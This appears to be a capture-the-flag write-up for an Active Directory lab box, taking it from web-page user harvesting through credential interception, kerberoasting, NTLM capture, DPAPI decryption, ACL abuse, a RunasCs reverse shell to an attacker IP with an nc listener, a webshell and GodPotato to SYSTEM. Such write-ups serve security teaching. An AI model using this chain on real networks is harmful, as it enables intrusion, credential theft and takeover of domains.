Starting with just an open web server, I harvested potential users from the City Council portal using a quick curl | html2text command. The real breakthrough came when I downloaded a .bin application from the site—it was authenticating to the domain controller right in front of me. By spoofing the DC’s hostname locally and listening on port 389, I captured credentials for svc_services_portal.
From there, it was classic AD attacks: kerberoasting got me clerk.john, who had write access to an Uploads share. Deploying the slinky module triggered NTLM authentication from jon.peters, whose cracked credentials revealed GenericWrite privileges over three users.
Targeted kerberoasting of those users cracked passwords for nina.soto, who could read the Backups share. Inside .wim profile backups, I found DPAPI-protected credentials—decrypted to reveal emma.hayes with powerful ACL controls.
Critical clue: Buried inside sam.brooks profile backup was an email (message_sam.eml) warning that web_admin had been moved to the Quarantine OU because the web server had ASP.NET enabled with file uploads allowed—a huge hint for the final foothold.
Using emma.hayes, I moved the quarantined web_admin account into the CityOps OU, reset passwords, and pivoted through sam.brooks to get an initial shell. The final escalation? Just like the email warned—uploading a webshell as web_admin gave me SeImpersonate privileges. GodPotato to SYSTEM, new admin user, game over.
Initial Scan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
PORT STATE SERVICE REASON 53/tcp open domain syn-ack 80/tcp open http syn-ack 88/tcp open kerberos-sec syn-ack 135/tcp open msrpc syn-ack 139/tcp open netbios-ssn syn-ack 389/tcp open ldap syn-ack 445/tcp open microsoft-ds syn-ack 464/tcp open kpasswd5 syn-ack 593/tcp open http-rpc-epmap syn-ack 636/tcp open ldapssl syn-ack 3268/tcp open globalcatLDAP syn-ack 3269/tcp open globalcatLDAPssl syn-ack 3389/tcp open ms-wbt-server syn-ack 5985/tcp open wsman syn-ack
Active Directory box with what looks like port 80 running as well. Let check out whats on 80 first.
Running for Council
Upon scrolling down we see some possible users. We can grab these with a little quick command I like.
For background work, I through up cewl to create a wordlist for me.(P.S. Didn’t help)
Looking more on the site, there was some binaires we could download on the documents and forms page found at the bottom of the page. We can download the bin file and see what this does.
The Stone Portal
After starting up, we see a Application Status log and when we submit an application we see some output in the terminal.
This looks juicy!!! It’s an application we downloaded and is now running on our machine. It’s reaching out to authenticate against, what I assume is the server, DC-CC.city.local. Perhaps we can intercept those credentials.
Meet in the Middle
First, lets see what happens when we set our IP to DC-CC.city.local.(localhost works too)
So we have Uploads available to use. After reading the WriteAccess_Jon.Peters_DC-CC-Uploads.eml we find out that there is a shared folder connected and does give warning that the share uses NTLM authentication. We can leverage this in our favor.
Using JtR gets us passwords for nina.soto and maria.clerk. Neither have anything interesting in bloodhound, but shares show that nina.soto has access to the Backups share. Lets look in it.
Looking at emma.hayes‘s permissions, we have some interesting permissions.
Also, if we read the email we got from the windows images we can see that web_admin has been put in the Quarantine OU.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Subject: Notice: web_admin account moved to Quarantine OU
Hi Sam,
This is to inform you that the web_admin account has been moved to the Quarantine OU following security concerns identified during recent system activity. The web server has ASP.NET enabled and file uploads of .aspx pages are possible; in combination with the web_admin account this creates a scenario could be used to escalate privileges or perform unauthorized actions.
No production impact has been confirmed, but the account has been isolated for forensic review as a precautionary measure.
If you require any temporary access or need updates regarding the investigation, please contact Emma Hayes (Helpdesk) at emma.hayes for coordination and approval.
Regards, Administrator IT Operations
So in order to escalate to web_admin we have to remove him and put him in the CityOps OU. First we need FullControl over the DACL. Then we change his DN showing him in the CityOps OU.
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU [*] DACL backed up to dacledit-20260610-133755.bak [*] DACL modified successfully!
We don’t have access to the machine as web_admin, but we can look at who is in the Remote Management Users group. This seems to be sam.brooks, so we can change their password and get on the machine.
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint /var/lib/gems/3.3.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... *Evil-WinRM* PS C:\Users\sam.brooks\Documents> cd .. *Evil-WinRM* PS C:\Users\sam.brooks> tree /f Folder PATH listing Volume serial number is CCCC-FB95 C:. ÃÄÄÄDesktop ³ user.txt ³
Getting ONE more shell
We need to have access as web_admin, the easiest way to do this is RunAsCs and redirect to get a shell.
1 2 3 4 5 6 7
*Evil-WinRM* PS C:\ProgramData> .\RunasCs_net2.exe web_admin P@ssw0rd123! cmd.exe -r10.200.38.163:32000 [*] Warning: User profile directory for user web_admin does not exists. Use --force-profileif you want to force the creation. [*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type'5' to obtain a more privileged token.
[+] Running in session 0 with processfunctionCreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-2caa26$\Default [+] Async process'C:\Windows\system32\cmd.exe' with pid 5856 created in background.
And our listener.
1 2 3 4 5 6 7 8 9 10 11
$ rlwrap -cAr nc -lvnp 32000 listening on [any] 32000 ... connect to [10.200.38.163] from (UNKNOWN) [10.1.155.120] 49977 Microsoft Windows [Version 10.0.17763.5936] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami city\web_admin
C:\Windows\system32>
I was framed
The web_admin was disabled because ASP.NET is enabled, which means we can upload a webshell and access it from the webpage.
Back on the webpage we can access this page and we see have SeImpersonate available to us as the service user iis apppool. We can upload GodPotato, and just create an administrator.
Then on the webpage we run our command to add our user and add them to the administrators group.
I have spoken
Now we have access as administrator to the machine.
1 2 3 4 5 6 7 8 9 10 11 12
$ evil-winrm-i city.local -u jay -p jay4m4y0r <SNIP>
*Evil-WinRM* PS C:\Users\jay\Documents> cd \Users\Administrator *Evil-WinRM* PS C:\Users\Administrator> tree /f Folder PATH listing Volume serial number is CCCC-FB95 C:. ÃÄÄÄ3D Objects ÃÄÄÄContacts ÃÄÄÄDesktop ³ root.txt
